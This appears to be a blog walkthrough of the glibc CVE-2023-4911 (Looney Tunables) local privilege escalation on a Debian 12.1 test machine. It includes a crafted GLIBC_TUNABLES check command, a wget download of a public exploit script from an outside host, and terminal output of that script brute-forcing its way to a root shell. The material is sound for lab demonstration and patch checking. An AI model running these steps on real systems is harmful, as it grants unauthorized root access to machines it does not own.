Exploiting CVE-2023-4911(Looney Tunables) Local Privilege Escalation in Debian 12.1
Year 2023... buffer overflows are back! 😵💫
Last week it was published that the ubiquitous glibc library has a vulnerability that basically allows any unprivileged user with access to the shell, ssh, etc to escalate privileges to root!
Qualys report is really good for the technical details. We will see how the exploit works. Also for more info about buffer overflows, you can check this oooold article:
To quickly check if your system is vulnerable to glib tunables vulnerability:
$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
Segmentation fault (core dumped)
If you get a segmentation fault, you are in trouble!
Let see how that works in reality:
For testing I use Ziion VirtualBox machine, which is great for web2 and web3 exploiting with pretty much all tools installed.
First I checked that my kernel has address space layout randomization enabled (2 = enabled):
root@ziion:~# sysctl kernel.randomize_va_space
kernel.randomize_va_space = 2
As you can see below you can download the exploit from here.
Let’s goooo (It took only 34 seconds to escalate privileges to root):
poctest@ziion:~$ cat /etc/debian_version
12.1
poctest@ziion:~$ wget https://haxx.in/files/gnu-acme.py
--2023-10-08 12:32:24-- https://haxx.in/files/gnu-acme.py
Resolving haxx.in (haxx.in)... 54.37.234.99
Connecting to haxx.in (haxx.in)|54.37.234.99|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 11759 (11K) [text/x-python]
Saving to: ‘gnu-acme.py’
gnu-acme.py 100%[=====================================================================================================>] 11.48K --.-KB/s in 0s
2023-10-08 12:32:24 (59.8 MB/s) - ‘gnu-acme.py’ saved [11759/11759]
poctest@ziion:~$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <peter@haxx.in> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/su, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = a99db3715218b641780b04323e4ae5953d68a927
[i] __libc_start_main = 0x27200
[i] using hax path b'\x08' at offset -8
[i] wrote patched libc.so.6
[i] using stack addr 0x7ffe1010100c
....................................
Usage:
su [options] [-] [<user> [<argument>...]]
Change the effective user ID and group ID to that of <user>.
A mere - implies -l. If <user> is not given, root is assumed.
Options:
-m, -p, --preserve-environment do not reset environment variables
-w, --whitelist-environment <list> don't reset specified variables
-g, --group <group> specify the primary group
-G, --supp-group <group> specify a supplemental group
-, -l, --login make the shell a login shell
-c, --command <command> pass a single command to the shell with -c
--session-command <command> pass a single command to the shell with -c
and do not create a new session
-f, --fast pass -f to the shell (for csh or tcsh)
-s, --shell <shell> run <shell> if /etc/shells allows it
-P, --pty create a new pseudo-terminal
-h, --help display this help
-V, --version display version
For more details see su(1).
............................................................................................................................................................................................................................
Usage:
su [options] [-] [<user> [<argument>...]]
Change the effective user ID and group ID to that of <user>.
A mere - implies -l. If <user> is not given, root is assumed.
Options:
-m, -p, --preserve-environment do not reset environment variables
-w, --whitelist-environment <list> don't reset specified variables
-g, --group <group> specify the primary group
-G, --supp-group <group> specify a supplemental group
-, -l, --login make the shell a login shell
-c, --command <command> pass a single command to the shell with -c
--session-command <command> pass a single command to the shell with -c
and do not create a new session
-f, --fast pass -f to the shell (for csh or tcsh)
-s, --shell <shell> run <shell> if /etc/shells allows it
-P, --pty create a new pseudo-terminal
-h, --help display this help
-V, --version display version
For more details see su(1).
..................................................................................................................
Usage:
su [options] [-] [<user> [<argument>...]]
Change the effective user ID and group ID to that of <user>.
A mere - implies -l. If <user> is not given, root is assumed.
Options:
-m, -p, --preserve-environment do not reset environment variables
-w, --whitelist-environment <list> don't reset specified variables
-g, --group <group> specify the primary group
-G, --supp-group <group> specify a supplemental group
-, -l, --login make the shell a login shell
-c, --command <command> pass a single command to the shell with -c
--session-command <command> pass a single command to the shell with -c
and do not create a new session
-f, --fast pass -f to the shell (for csh or tcsh)
-s, --shell <shell> run <shell> if /etc/shells allows it
-P, --pty create a new pseudo-terminal
-h, --help display this help
-V, --version display version
For more details see su(1).
...
Usage:
su [options] [-] [<user> [<argument>...]]
Change the effective user ID and group ID to that of <user>.
A mere - implies -l. If <user> is not given, root is assumed.
Options:
-m, -p, --preserve-environment do not reset environment variables
-w, --whitelist-environment <list> don't reset specified variables
-g, --group <group> specify the primary group
-G, --supp-group <group> specify a supplemental group
-, -l, --login make the shell a login shell
-c, --command <command> pass a single command to the shell with -c
--session-command <command> pass a single command to the shell with -c
and do not create a new session
-f, --fast pass -f to the shell (for csh or tcsh)
-s, --shell <shell> run <shell> if /etc/shells allows it
-P, --pty create a new pseudo-terminal
-h, --help display this help
-V, --version display version
For more details see su(1).
...............
Usage:
su [options] [-] [<user> [<argument>...]]
Change the effective user ID and group ID to that of <user>.
A mere - implies -l. If <user> is not given, root is assumed.
Options:
-m, -p, --preserve-environment do not reset environment variables
-w, --whitelist-environment <list> don't reset specified variables
-g, --group <group> specify the primary group
-G, --supp-group <group> specify a supplemental group
-, -l, --login make the shell a login shell
-c, --command <command> pass a single command to the shell with -c
--session-command <command> pass a single command to the shell with -c
and do not create a new session
-f, --fast pass -f to the shell (for csh or tcsh)
-s, --shell <shell> run <shell> if /etc/shells allows it
-P, --pty create a new pseudo-terminal
-h, --help display this help
-V, --version display version
For more details see su(1).
...# ** ohh... looks like we got a shell? **
id
uid=0(root) gid=1001(poctest) groups=1001(poctest)
#
Booom! As you can see above it dumps the su command help around five times. As we noticed earlier we have the address randomization enabled, so the exploit does some brute forcing until the address overwritten maps to our shellcode in memory.
Be aware that many times we you are running a shell after a buffer overflow, the prompt does not appear immediately, so press enter a couple of times or just enter some command as I did :)